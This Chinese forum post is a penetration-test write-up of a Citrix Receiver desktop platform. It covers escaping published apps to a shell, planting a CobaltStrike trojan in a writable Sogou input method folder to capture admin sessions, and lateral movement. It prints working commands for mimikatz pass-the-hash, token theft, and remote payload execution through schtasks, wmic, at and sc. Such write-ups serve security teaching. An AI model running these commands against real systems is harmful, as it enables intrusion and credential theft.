CitrixReceiver平台的一次渗透测试【通过】

内部线上平台,涂抹严重,有碍阅读请见谅

测试目标

目标是使用CitrixReceiver搭建的云桌面平台,以桌面和应用程序的方式对用户提供服务

用户登陆平台点击应用图标下载授权文件,在用户端打开应用程序﴾程序运行在服务器端﴿进行操
作。这里测试所有用户打开的应用程序是运行在同一个服务器上的,所以当一个用户突破限制拿到
服务器权限时便可对使用该平台的所有用户数据进行操作,存在一定的安全风险。

命令行接口

用户打开应用后,程序运行在服务器端,并且将本地硬盘映射到服务器上。用户可以通过程序提供
的文件操作接口打开服务器端的命令行,在服务器上执行操作系统命令。

由平台提供的应用,经测试都可以通过一定的方式打开服务器上的命令行操作窗口
内部云盘,打开云盘在地址栏中输入c:\windows\system32,点击cmd.exe选择打开

Xshell,本身就可以执行命令,输入explorer可以打开资源管理器

Visio,打开本地文件‐>浏览,在打开的资源管理器中按住键盘shift键并点击鼠标右键,选择“在此
处打开命令行窗口“

提权

虽然有命令行接口了,但是权限比较低,基本除了自己的目录以外没什么权限,这就不得不提权了
systeminfo看了一下,安装了164个补丁,补丁有点多,但是还是要尝试一下

尝试了secwiki‐Windows提权工具和exploit db上的一些exp,但是都没有成功。后来改变了一下思
路,看看配置或者安装的软件有没有什么可以突破的地方,经过一番搜索和尝试发现两处问题:一
个是服务器存在一个不带引号的服务路径

可以看到AnyShareService服务的路径为C:\Program Files\Pan xxx\sharesvc.exe,服务的路
径未包含在引号中,那么操作系统会按空格分割路径来执行。对应到这里就是系统会尝试执行以下
程序

C:\Program.exe
C:\Program Files\Pan.exe
C:\Program Files\Pan xxx\sharesvc.exe

这里的想法是在C:\Program.exe和C:\Program Files\Pan.exe位置放一个木马文件,这样系统
启动服务时便会执行木马返回系统权限,但是测试后发现在这两个位置都没有写入的权限。
另一个是列举服务器上安装程序的脆弱目录

可以看到搜狗输入法的安装目录C:\Program Files (x86)\SogouInput对所有用户拥有完全权
限,且搜狗输入法为默认中文输入法,被调用次数很高。这里利用VBS脚本上传一个CobaltStrike生
成的木马替换搜狗输入法中的关键程序,当其它用户登陆调用搜狗输入法时会触发木马软件,此时
由木马软件返回的会话便是该用户的权限,当管理员登陆系统使用搜狗输入法时,我们便可以获取
到管理员权限的会话。

这里将SGTool.exe替换为CobaltStrike生成的木马,等待一段时间,可以看到CS中有很多会话上线
了,但是都是普通的低权限用户,继续等待直到ctxadmin用户上线﴾前期渗透知道ctxadmin为管理
员账户﴿

在ctxadmin权限下将普通域账号添加到本机管理员组,这里想过直接用mimikatz查看密码,但是服
务器是Server2012默认没有缓存密码,抓出来password为空,添加本地账户也不行,虽然添加成
功但是无法远程桌面登陆﴾后来知道是禁止了本地管理员远程登陆﴿。

利用提权后的域账号登陆远程桌面

横向移动

这里最先获得权限的为.21的机器

PTH

mimikatz sekurlsa::pth /user:ctxadmin /domain:xxx.net
/ntlm:570a9sasasasasasasasasadbab /run:"powershell ‐w hidden"

窃取令牌

steal_token 69548

检查权限

shell dir \10.x.x.20\c$

切换目录、上传文件

cd c:\spy\sectools
upload artifact.exe # 这里因为c:\spy\sectools目中已经上传过artifact.exe,图中没有再上传
shell copy artifact.exe \10.x.x.20\C$\windows\temp

远程执行文件

查阅到PTH中远程执行的方式一般为:WMIC、SCHTASKS、AT、SC
这里试了WMIC和SCHTASKS,WMIC在.20的机器执行未成功,SCHTASKS执行成功,AT命令在新
的Windows系统已弃用,SC在横向移动中的其它机器执行成功。

WMIC

shell wmic /node:10.x.x.20 process call create “c:\windows\temp\artifact.exe”

执行不成功,执行成功会返回PID。查看一下,文件是否上传成功

SCHTASKS

shell net time \10.x.x.20
shell schtasks /create /tn artifact /tr c:\windows\temp\artifact.exe /sc once /st 09:39 /S
10.x.x.20 /RU System
shell schtasks /run /tn artifact /S 10.x.x.20
shell schtasks /F /delete /tn artifact /S 10.x.x.20

执行成功,获取到.20服务器system权限

AT

也可以使用at命令来执行文件,但是在高版本windows中已经被弃用替换为schtasks命令,这里也
记录下

shell net time \host
shell at \host HH:MM c:\windows\temp\evil.exe

SC

使用sc命令在远程主机上创建服务并执行程序,用cobaltStrike创建一个Windows service程序,
Attacks ‐> Packages ‐> Windows Executable ﴾S﴿ ‐> Windows Service EXE,也可以用sc创建服务来
建立持久化后门。

shell sc \host create evil binpath= "c:\windows\temp\evil.exe"
shell sc \host start evil
shell sc \host delete evil

最后,利用同样的手法成功获取CitrixReceiver服务器所在网段的其它服务器

文笔粗糙,内容浅显,向各位师傅学习~~

  • 通过
  • 未通过
0 投票人
3 个赞

很久没有见过这么流畅渗透文 赞

vbs脚本怎么上传的木马?